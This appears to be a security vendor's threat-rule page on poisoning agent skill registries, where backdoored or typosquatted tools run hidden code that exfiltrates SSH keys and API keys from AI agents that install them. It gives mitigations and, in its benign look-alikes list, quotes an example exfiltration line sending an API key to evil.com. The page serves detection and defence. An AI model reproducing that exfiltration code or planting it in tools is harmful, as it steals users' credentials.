# Skill Registry Poisoning and Compromised Tool Distribution

- **Severity:** Critical
- **Signature ID:** `452b422b-ca0a-40ae-94fb-79ae9372c504`
- **MITRE ATLAS:** AML.T0010.005 (AI Agent Tool), AML.T0056 (Extract LLM System Prompt)
- **OWASP:** ASI05 (Cascading Failures in Multi-Agent Systems), LLM06 (Excessive Agency)

## Summary

Attackers publish backdoored versions of legitimate agent tools/skills, or create lookalike names for popular ones, so that when an AI agent installs or invokes the tool it runs malicious code instead of (or alongside) its intended function. This is a supply-chain attack aimed at the tool distribution channel agents use to extend their capabilities.

## How the attack works

An attacker compromises a legitimate tool/skill package or publishes a new one under a name close to a trusted tool (typosquatting). The poisoned package is uploaded to a registry that agents pull from. When an agent installs or calls the tool, hidden code executes — commonly code that reads and exfiltrates credentials such as SSH keys or environment variables like API keys. The rule flags tool code or output containing exfiltration patterns, such as network calls that send file contents or secret-like environment values to an external address.

## Why it matters

A single poisoned tool can silently steal credentials or secrets from every agent that installs it, and because agents often run with broad permissions, this can lead to further compromise of connected systems.

## What you can do

- Pin tool/skill versions and verify package hashes or signatures before allowing agents to install anything new.
- Restrict agents to an allowlist of vetted tool sources rather than open registries.
- Review new or updated tools for code that reads credential files (.ssh, .env) or makes outbound network calls before deployment.
- Watch for tool names that closely resemble popular ones and confirm publisher identity before use.

## Known benign look-alikes

- Legitimate security audit tools that check for credential exposure
- Security scanning tools that report findings containing references to credential file paths like .ssh/id_rsa or .env in their vulnerability assessment output
- Defensive security documentation that quotes a complete exfiltration example verbatim (for instance a skill that teaches detection and prints fetch('https://evil.com/?key=' + process.env.API_KEY) as the pattern to look for). This shape is indistinguishable from the attack by pattern matching alone and is the residual false-positive class after the 2026-08-04 tightening.
- Penetration-testing and red-team skills whose prose legitimately names malware and C2 tooling (meterpreter, Cobalt Strike, reverse shell, command and control) as subject matter rather than as payload

## References

- https://agentthreatrule.org/en/rules/ATR-2026-00096

---
Source: https://www.netzilo.com/threats/atr-skill-registry-poisoning-and-compromised-tool-distribution